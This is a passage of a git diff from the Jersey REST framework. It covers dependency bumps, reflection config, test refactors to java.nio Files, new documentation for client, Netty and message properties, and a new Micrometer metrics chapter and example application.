a/core-server/src/main/resources/META-INF/NOTICE.markdown +++ b/core-server/src/main/resources/META-INF/NOTICE.markdown @@ -36,7 +36,7 @@ org.glassfish.jersey.server.internal.monitoring.core * Copyright (c) 2015-2018 Oracle and/or its affiliates. All rights reserved. * Copyright 2010-2013 Coda Hale and Yammer, Inc. -org.objectweb.asm Version 9.5 +org.objectweb.asm Version 9.6 * License: Modified BSD (https://asm.ow2.io/license.html) * Copyright: (c) 2000-2011 INRIA, France Telecom. All rights reserved. diff --git a/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json index f013c3699d..a56bb9821f 100644 --- a/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json +++ b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json @@ -43,6 +43,30 @@ "allDeclaredMethods":true, "allDeclaredConstructors":true }, + { + "name": "org.glassfish.jersey.server.internal.inject.FormParamValueParamProvider", + "allDeclaredFields":true, + "allDeclaredMethods":true, + "allPublicMethods":true, + "allDeclaredConstructors":true, + "allPublicConstructors":true + }, + { + "name": "org.glassfish.jersey.server.internal.inject.FormParamValueParamProvider$MultipartFormParamValueProvider", + "allDeclaredFields":true, + "allDeclaredMethods":true, + "allPublicMethods":true, + "allDeclaredConstructors":true, + "allPublicConstructors":true + }, + { + "name": "org.glassfish.jersey.server.internal.inject.FormParamValueParamProvider$MultipartFormParamValueProvider$FormParamHolder", + "allDeclaredFields":true, + "allDeclaredMethods":true, + "allPublicMethods":true, + "allDeclaredConstructors":true, + "allPublicConstructors":true + }, { "name":"org.glassfish.jersey.server.internal.monitoring.MonitoringAutodiscoverable", "allDeclaredFields":true, diff --git a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java index 8db4a2bc89..50a5402404 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,10 +19,9 @@ import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.File; -import java.io.FileInputStream; -import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; +import java.nio.file.Files; import java.util.HashMap; import java.util.HashSet; import java.util.Map; @@ -71,7 +70,7 @@ public static File createJarFile(final String name, final Suffix s, final String tempJar.deleteOnExit(); final JarOutputStream jos = new JarOutputStream( new BufferedOutputStream( - new FileOutputStream(tempJar)), new Manifest()); + Files.newOutputStream(tempJar.toPath())), new Manifest()); final Set usedSegments = new HashSet(); for (final Map.Entry entry : entries.entrySet()) { @@ -90,7 +89,7 @@ public static File createJarFile(final String name, final Suffix s, final String jos.putNextEntry(e); final InputStream f = new BufferedInputStream( - new FileInputStream(base + entry.getKey())); + Files.newInputStream(new File(base, entry.getKey()).toPath())); final byte[] buf = new byte[1024]; int read = 1024; while ((read = f.read(buf, 0, read)) != -1) { diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java index f9463e898a..bdceaa11bb 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,9 +16,10 @@ package org.glassfish.jersey.server.internal.scanning; -import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Paths; import java.util.Enumeration; import java.util.jar.JarEntry; import java.util.jar.JarFile; @@ -113,7 +114,7 @@ private int countJarEntriesByPattern(final Pattern pattern) throws IOException { private int countJarEntriesUsingScanner(final String parent, final boolean recursive) throws IOException { int scannedEntryCount = 0; - try (final InputStream jaxRsApi = new FileInputStream(this.jaxRsApiPath)) { + try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) { final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, parent, recursive); while (jarFileScanner.hasNext()) { // Fetch next entry. @@ -135,7 +136,7 @@ private int countJarEntriesUsingScanner(final String parent, final boolean recur @ParameterizedTest @ValueSource(booleans = {true, false}) public void testClassEnumerationWithNonexistentPackage(final boolean recursive) throws IOException { - try (final InputStream jaxRsApi = new FileInputStream(this.jaxRsApiPath)) { + try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) { final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/r", recursive); assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.r' in jakarta.ws.rs-api"); } @@ -144,7 +145,7 @@ public void testClassEnumerationWithNonexistentPackage(final boolean recursive) @ParameterizedTest @ValueSource(booleans = {true, false}) public void testClassEnumerationWithClassPrefix(final boolean recursive) throws IOException { - try (final InputStream jaxRsApi = new FileInputStream(this.jaxRsApiPath)) { + try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) { final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/rs/GE", recursive); assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.rs.GE' in jakarta.ws.rs-api"); } diff --git a/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java b/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java index 85589d39ae..28fce64a3d 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,11 +21,11 @@ package org.glassfish.jersey.server.wadl.config; import java.io.File; -import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.URL; +import java.nio.file.Files; import java.util.List; import java.util.Properties; @@ -155,7 +155,7 @@ public File getTestStreamContent() { /* try { System.out.println( "listing file " + _testFileContent.getName() ); - BufferedReader in = new BufferedReader( new FileReader( _testFileContent ) ); + BufferedReader in = Files.newBufferedReader( _testFileContent.toPath() ); String line = null; while ( (line = in.readLine()) != null ) { System.out.println( line ); @@ -172,7 +172,7 @@ public void init() throws IOException { _testStreamContent = File.createTempFile("testfile-" + getClass().getSimpleName(), null); OutputStream to = null; try { - to = new FileOutputStream(_testStreamContent); + to = Files.newOutputStream(_testStreamContent.toPath()); byte[] buffer = new byte[4096]; int bytes_read; while ((bytes_read = _testStream.read(buffer)) != -1) { diff --git a/docs/pom.xml b/docs/pom.xml index e3bb3a6d45..f73f210781 100644 --- a/docs/pom.xml +++ b/docs/pom.xml @@ -77,7 +77,7 @@ com.agilejava.docbkx docbkx-maven-plugin - 2.0.15 + 2.0.17 net.sf.docbook diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml index b39bd635a0..9e7dc27801 100644 --- a/docs/src/main/docbook/appendix-properties.xml +++ b/docs/src/main/docbook/appendix-properties.xml @@ -976,7 +976,7 @@ Property for threshold size for content length after which Expect:100-Continue header would be applied before the main request. - Default threshold size (64kb) after which which Expect:100-Continue header would be applied before + Default threshold size (64kb) after which Expect:100-Continue header would be applied before the main request. Since 2.32 @@ -1111,6 +1111,21 @@ + + &jersey.client.ClientProperties.SSL_CONTEXT_SUPPLIER; + jersey.config.client.ssl.context.supplier + + + The javax.net.ssl.SSLContext java.util.function.Supplier to be used to set ssl + context in the current HTTP request. Has precedence over the + Client#getSslContext(). + + + Currently supported by the default HttpUrlConnector and by + NettyConnector only. + + + &jersey.client.ClientProperties.USE_ENCODING; jersey.config.client.useEncoding @@ -1194,6 +1209,118 @@ + +
    + Jersey configuration properties for message & entity processing + + + List of client configuration properties that can be found in &jersey.message.MessageProperties; class. + + + + List of Apache HTTP client configuration properties + + + + Constant + Value + Description + + + + + &jersey.message.MessageProperties.DEFLATE_WITHOUT_ZLIB; + jersey.config.deflate.nozlib + + + If set to &lit.true;, DeflateEncoder deflate encoding interceptor will use non-standard version + of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding + implementations in some products use this non-compliant version, hence the switch. + + + The default value is &lit.false;. + + + + + &jersey.message.MessageProperties.IO_BUFFER_SIZE; + jersey.config.io.bufferSize + + + Value of the property indicates the buffer size to be used for I/O operations + on byte and character streams. The property value is expected to be a positive + integer otherwise it will be ignored. + + + The default value is value of &jersey.message.MessageProperties.IO_DEFAULT_BUFFER_SIZE;. + + + + + &jersey.message.MessageProperties.JAXB_PROCESS_XML_ROOT_ELEMENT; + jersey.config.jaxb.collections.processXmlRootElement + + + If set to &lit.true; then XML root element tag name for collections will + be derived from javax.xml.bind.annotation.XmlRootElement + annotation value and won't be de-capitalized. + + + The default value is &lit.false;. + + + + + &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; + jersey.config.json.string.length + + + The default value is not set and the JSON provider default maximum value is used. + + + If supported by Jackson provider, the default value can differ for each Jackson version. For instance, + Jackson 2.14 does not support this setting and the default value is Integer#MAX_VALUE, + Jackson 2.15.0 has the default value 5_000_000, Jackson 2.15.2 has the default value 20_000_000. + + + + + &jersey.message.MessageProperties.XML_SECURITY_DISABLE; + jersey.config.xml.security.disable + + + If set to &lit.true; XML security features when parsing XML documents will be + disabled. + + + The default value is &lit.false;. + + + + + &jersey.message.MessageProperties.XML_FORMAT_OUTPUT; + jersey.config.xml.formatOutput + + + If set to &lit.true; indicates that produced XML output should be formatted + if possible. + + + A XML message entity written by a &jaxrs.ext.MessageBodyWriter; + may be formatted for the purposes of human readability provided the respective + &jaxrs.ext.MessageBodyWriter; supports XML output formatting. All JAXB-based message + body writers support this property. + + + The default value is &lit.false;. + + + + + +
    + +
    Apache HTTP client configuration properties @@ -1898,6 +2025,19 @@ + + &jersey.netty.NettyClientProperties.FILTER_HEADERS_FOR_PROXY; + jersey.config.client.filter.headers.proxy + + + Filter the HTTP headers for requests (CONNECT) towards the proxy except for + PROXY-prefixed and HOST headers when &lit.true;. + + + The default value is &lit.true; and the headers are filtered out. + + + &jersey.netty.NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT; jersey.config.client.idleConnectionPruneTimeout @@ -1944,6 +2084,31 @@ + + &jersey.netty.NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT; + jersey.config.client.redirect.preserve.method + + + Sets the HTTP POST method to be preserved on HTTP status 301 (MOVED PERMANENTLY) or status 302 (FOUND) + when &lit.true; or redirected as GET when &lit.false;. + + + The default value is &lit.true; and the HTTP POST request is not redirected as GET. + + + + + &jersey.netty.NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT; + jersey.config.client.request.expect.100.continue.timeout + + + This timeout is used for waiting for 100-Continue response when 100-Continue + is sent by the client. + Default timeout value is 500 ms after which Expect:100-Continue feature is ignored. + Since 2.41 + + + diff --git a/docs/src/main/docbook/client.xml b/docs/src/main/docbook/client.xml index 1c0e17f43d..b496268590 100644 --- a/docs/src/main/docbook/client.xml +++ b/docs/src/main/docbook/client.xml @@ -660,6 +660,11 @@ webTarget.request().post(Entity.entity(f, MediaType.TEXT_PLAIN_TYPE)); &jersey.jetty.JettyConnectorProvider; org.glassfish.jersey.connectors:jersey-jetty-connector + + Jetty HTTP/2 client + &jersey.jetty.JettyHttp2ConnectorProvider; + org.glassfish.jersey.connectors:jersey-jetty-http2-connector + Netty NIO framework &jersey.netty.NettyConnectorProvider; diff --git a/docs/src/main/docbook/jersey.ent b/docs/src/main/docbook/jersey.ent index 99dc3551a2..69217f06ac 100644 --- a/docs/src/main/docbook/jersey.ent +++ b/docs/src/main/docbook/jersey.ent @@ -112,6 +112,8 @@ Helidon"> SmallRye"> Yasson"> +Micrometer project"> +Micrometer Jersey/Jetty support"> Configuration"> @@ -353,6 +355,7 @@ ClientProperties.READ_TIMEOUT" > ClientProperties.REQUEST_ENTITY_PROCESSING" > ClientProperties.SUPPRESS_HTTP_COMPLIANCE_VALIDATION" > +ClientProperties.SSL_CONTEXT_SUPPLIER" > ClientProperties.USE_ENCODING" > ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT" > ClientProperties.EXPECT_100_CONTINUE" > @@ -477,6 +480,7 @@ JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE" > JettyClientProperties.TOTAL_TIMEOUT" > JettyConnectorProvider"> +JettyHttp2ConnectorProvider"> JettyHttpContainer"> JettyHttpContainerFactory"> JettyHttpContainerProvider"> @@ -531,6 +535,13 @@ StreamDataBodyPart" > MessageBodyWorkers"> MessageProperties"> +MessageProperties.DEFLATE_WITHOUT_ZLIB"> +MessageProperties.IO_BUFFER_SIZE"> +MessageProperties.IO_DEFAULT_BUFFER_SIZE"> +MessageProperties.JAXB_PROCESS_XML_ROOT_ELEMENT"> +MessageProperties.JSON_MAX_STRING_LENGTH"> +MessageProperties.XML_SECURITY_DISABLE"> +MessageProperties.XML_FORMAT_OUTPUT"> AbstractEntityProcessor"> AbstractObjectProvider"> @EntityFiltering"> @@ -544,10 +555,13 @@ SecurityEntityFilteringFeature"> SelectableEntityFilteringFeature"> NettyClientProperties" > +NettyClientProperties.FILTER_HEADERS_FOR_PROXY" > NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT" > NettyClientProperties.MAX_CONNECTIONS" > NettyClientProperties.MAX_CONNECTIONS_TOTAL" > NettyClientProperties.MAX_REDIRECTS" > +NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT" > +NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT" > NettyConnectorProvider"> ApplicationHandler"> @BackgroundScheduler"> diff --git a/docs/src/main/docbook/media.xml b/docs/src/main/docbook/media.xml index f830e90ba4..6849118e79 100644 --- a/docs/src/main/docbook/media.xml +++ b/docs/src/main/docbook/media.xml @@ -1,7 +1,7 @@ + + %ents; ]> + + Micrometer - application observability facade + + The chapter is about Micrometer integration into Jersey which comes since the version 2.41 as an extension module. + Before Jersey 2.41, it was possible to integrate Micrometer with Jersey using directly µmeter.jersey.link;. + There is also support for Jakarta EE 10 integration. The detailed documentation regarding metrics fine-tuning + can be found at the µmeter.link;. + +
    + Integration into Jersey + + Since Jersey 2.41 it's possibly to use an extension module in order to use Micrometer instrumentation + inside your projects. The module shall be added as a dependency: + <dependency> + <groupId>org.glassfish.jersey.ext.micrometer</groupId> + <artifactId>jersey-micrometer</artifactId> + <version>&version;</scope> +</dependency> + After the dependency is added, the Micrometer can be configured as follows: + final ResourceConfig resourceConfig = new ResourceConfig(); +resourceConfig.register(new MetricsApplicationEventListener( + registry, + new DefaultJerseyTagsProvider(), "http.shared.metrics", true)); +final ServletContainer servletContainer = new ServletContainer(resourceConfig); + the registry instance is of type MeterRegistry which could be + new SimpleMeterRegistry();. Then all metrics can be accessed like + registry.get("http.shared.metrics"). The "http.shared.metrics" string + is the name of a particular registry which was registered within the + MetricsApplicationEventListener. + + Micrometer supports a set of Meter primitives, including Timer, + Counter, Gauge, DistributionSummary, + LongTaskTimer, FunctionCounter, FunctionTimer, + and TimeGauge. + Different meter types result in a different number of time series metrics. For example, while there is + a single metric that represents a Gauge, a Timer measures both the + count of timed events and the total time of all timed events. + + + Implementing resource methods, which should be measured, several annotations can be used. The basic example + demonstrates the @Counted annotation. + + Annotated Micrometer resource methods + @GET +@Counted(value = COUNTER_NAME, description = COUNTER_DESCRIPTION) +@Produces(MediaType.TEXT_PLAIN) +@Path("counted") +public String getCounterMessage() { + return "Requests to this method are counted. Use /metrics to see more"; +} + + + Metrics however can be introduced using another annotations @Timed, or + @TimedSet which is a set of @Timed. + +
    +
    \ No newline at end of file diff --git a/docs/src/main/docbook/modules.xml b/docs/src/main/docbook/modules.xml index c7deae96af..5981cedfa7 100644 --- a/docs/src/main/docbook/modules.xml +++ b/docs/src/main/docbook/modules.xml @@ -116,6 +116,14 @@
    + + jersey-container-jetty-http2 + + +Jetty HTTP/2 Container + + + jersey-container-jetty-servlet @@ -178,6 +186,14 @@ + + jersey-apache5-connector + + +Jersey Client Transport via Apache 5 + + + jersey-apache-connector @@ -194,6 +210,14 @@ + + jersey-helidon-connector + + +Jersey Client Transport via Helidon + + + jersey-jdk-connector @@ -209,6 +233,14 @@ Jersey Client Transport via Jetty (for JDK 11+) + + + + jersey-jetty-http2-connector + + + Jersey Client Transport via Jetty (for JDK 11+) with HTTP/2 support + jersey-netty-connector @@ -390,6 +422,30 @@ + + jersey-micrometer + + +Jersey extension module providing support for Micrometer. + + + + + jersey-mp-config + + +Jersey extension module providing support for MicroProfile Configuration. + + + + + jersey-mp-rest-client + + +Jersey extension module providing support for MicroProfile REST Client. + + + jersey-mvc diff --git a/docs/src/main/docbook/user-guide.xml b/docs/src/main/docbook/user-guide.xml index 34da07a9f3..3f03d55e2b 100644 --- a/docs/src/main/docbook/user-guide.xml +++ b/docs/src/main/docbook/user-guide.xml @@ -1,7 +1,7 @@ + + 4.0.0 + + + org.glassfish.jersey.examples + project + 3.0.99-SNAPSHOT + + + jersey-micrometer-webapp + jar + jersey-micrometer-example-webapp + + Micrometer/Jersey metrics basic example + + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + + + org.glassfish.jersey.containers + jersey-container-servlet + + + org.glassfish.jersey.ext + jersey-micrometer + + + org.glassfish.jersey.inject + jersey-hk2 + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + test + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-grizzly2 + test + + + org.junit.jupiter + junit-jupiter-api + test + + + + + + + org.codehaus.mojo + exec-maven-plugin + + org.glassfish.jersey.examples.micrometer.App + + + + + + + + pre-release + + + + org.codehaus.mojo + xml-maven-plugin + + + org.apache.maven.plugins + maven-assembly-plugin + + + + + + + diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java new file mode 100644 index 0000000000..3e4f465112 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java @@ -0,0 +1,51 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import org.glassfish.grizzly.http.server.HttpServer; +import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory; + +import java.io.IOException; +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +public class App { + + private static final URI BASE_URI = URI.create("http://localhost:8080/micro/"); + public static final String WEB_PATH = "/micro/"; + + public static void main(String[] args) { + try { + System.out.println("Micrometer/ Jersey Basic Example App"); + + final HttpServer server = GrizzlyHttpServerFactory.createHttpServer(BASE_URI, + new MetricsResourceConfig(), + false); + Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { + @Override + public void run() { + server.shutdownNow(); + } + })); + server.start(); + + System.out.println(String.format("Application started.\nTry out %s%s\n" + + "And after that go to the %s%s\n" + + "Stop the application using CTRL+C", + BASE_URI, "timed", BASE_URI, "metrics")); + Thread.currentThread().join(); + } catch (IOException | InterruptedException ex) { + Logger.getLogger(App.class.getName()).log(Level.SEVERE, null, ex); + } + + } +} diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java new file mode 100644 index 0000000000..f81a092043 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java @@ -0,0 +1,29 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; + +import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH; + +@Path("metrics") +public class MetricsResource { + + @GET + @Produces("text/html") + public String getMeters() { + return "Gaining measurements for the summary page, try summary. If you want more measurements just refresh this page several times." + + ""; + } +} \ No newline at end of file diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java new file mode 100644 index 0000000000..bbaf91b381 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java @@ -0,0 +1,39 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import org.glassfish.jersey.internal.inject.AbstractBinder; +import org.glassfish.jersey.server.ResourceConfig; + +import jakarta.ws.rs.ApplicationPath; + +@ApplicationPath("/") +public class MetricsResourceConfig extends ResourceConfig { + + private final MetricsStore store = new MetricsStore(); + + public MetricsResourceConfig() { + register(new AbstractBinder() { + @Override + protected void configure() { + bind(store).to(MetricsStore.class); + } + }); + register(store.getMetricsApplicationEventListener()); + register(TimedResource.class); + register(MetricsResource.class); + register(SummaryResource.class); + } + + public MetricsStore getStore() { + return store; + } +} diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java new file mode 100644 index 0000000000..01eaed897a --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java @@ -0,0 +1,37 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import org.glassfish.jersey.micrometer.server.DefaultJerseyTagsProvider; +import org.glassfish.jersey.micrometer.server.MetricsApplicationEventListener; + +public class MetricsStore { + + public static final String REGISTRY_NAME = "http.shared.metrics"; + private final MetricsApplicationEventListener metricsApplicationEventListener; + private final MeterRegistry registry = new SimpleMeterRegistry(); + + public MetricsStore() { + metricsApplicationEventListener = new MetricsApplicationEventListener(registry, + new DefaultJerseyTagsProvider(), + REGISTRY_NAME, true); + } + + public MetricsApplicationEventListener getMetricsApplicationEventListener() { + return metricsApplicationEventListener; + } + + public MeterRegistry getRegistry() { + return registry; + } +} \ No newline at end of file diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java new file mode 100644 index 0000000000..9a981dd0b4 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java @@ -0,0 +1,78 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.instrument.Meter; +import io.micrometer.core.instrument.Timer; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.Context; +import java.util.concurrent.TimeUnit; + +import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH; +import static org.glassfish.jersey.examples.micrometer.MetricsStore.REGISTRY_NAME; + +@Path("summary") +public class SummaryResource { + + @Context + private MetricsStore store; + + @GET + @Produces("text/html") + public String getExtendedMeters() { + final StringBuffer result = new StringBuffer(); + try { + result.append("" + + "Listing available meters

    Many occurrences of the same name means that there are more meters" + + " which could be used with different tags," + + " but this is actually a challenge to handle all available metrics :

    "); + for (final Meter meter : store.getRegistry().getMeters()) { + result.append(meter.getId().getName()); + result.append(";
    \n\r "); + } + } catch (Exception ex) { + result.append("Try clicking links below to gain more metrics.
    "); + } + result.append("
    \n\r "); + result.append("
    \n\r "); + try { + final Timer timer = store.getRegistry().get(REGISTRY_NAME) + .tags("method", "GET", "status", "200", "exception", "None", + "outcome", "SUCCESS", "uri", "/micro/metrics") + .timer(); + + result.append( + String.format("Counts to the page with standard measurements: %d, time spent on requests to the init " + + "page (millis): %f
    \n\r", + timer.count(), timer.totalTime(TimeUnit.MILLISECONDS))); + + final Timer annotatedTimer = store.getRegistry().timer(TimedResource.TIMER_NAME, + "method", "GET", "status", "200", "exception", "None", + "outcome", "SUCCESS", "uri", "/micro/timed"); + + result.append( + String.format("Counts to the page with annotated measurements: %d, total time (millis): %f
    \n\r", + annotatedTimer.count(), annotatedTimer.totalTime(TimeUnit.MILLISECONDS))); + + } catch (Exception ex) { + result.append(String.format("Counts to the init page: %d, total time (millis): %d
    \n\r", + 0, 0)); + result.append("Try clicking links below to gain more metrics.
    "); + } + result.append("

    Available pages for measurements: measure requests in the standard way  , measure requests in the annotated way"); + return result.append("").toString(); + } +} diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java new file mode 100644 index 0000000000..53ed481c57 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java @@ -0,0 +1,36 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.annotation.Timed; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; + +import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH; + +@Path("timed") +public class TimedResource { + + public static final String MESSAGE = "Gaining measures in the annotated way. " + + "
    Take a look at the standard way of measurements
    " + + "Or just go to summary to check what you've got"; + public static final String TIMER_NAME = "http.timers"; + public static final String TIMER_DESCRIPTION = "resource measurement timer"; + + @GET + @Produces("text/html") + @Timed(value = TIMER_NAME, description = TIMER_DESCRIPTION, histogram = true) + public String getTimedMessage() { + return MESSAGE; + } +} diff --git a/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java b/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java new file mode 100644 index 0000000000..b9e605bd77 --- /dev/null +++ b/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.instrument.Timer; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.core.Application; +import java.util.concurrent.TimeUnit; + +import static org.glassfish.jersey.examples.micrometer.TimedResource.MESSAGE; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +public class MicrometerTest extends JerseyTest { + + static final int REQUESTS_COUNT = 10; + + private MetricsResourceConfig resourceConfig; + + @Override + protected Application configure() { + resourceConfig = new MetricsResourceConfig(); + assertNotNull(this.resourceConfig); + return this.resourceConfig; + } + + @Test + void meterResourceTest() throws InterruptedException { + final String response = target("/timed").request().get(String.class); + assertEquals(response, MESSAGE); + for (int i = 0; i < REQUESTS_COUNT; i++) { + target("/metrics").request().get(String.class); + } + // Jersey metrics are recorded asynchronously to the request completing + Thread.sleep(10); + Timer timer = resourceConfig.getStore().getRegistry() + .get(MetricsStore.REGISTRY_NAME) + .tags("method", "GET", "uri", "/metrics", "status", "200", "exception", "None", "outcome", "SUCCESS") + .timer(); + assertEquals(REQUESTS_COUNT, timer.count()); + assertNotNull(timer.totalTime(TimeUnit.NANOSECONDS)); + } + +} \ No newline at 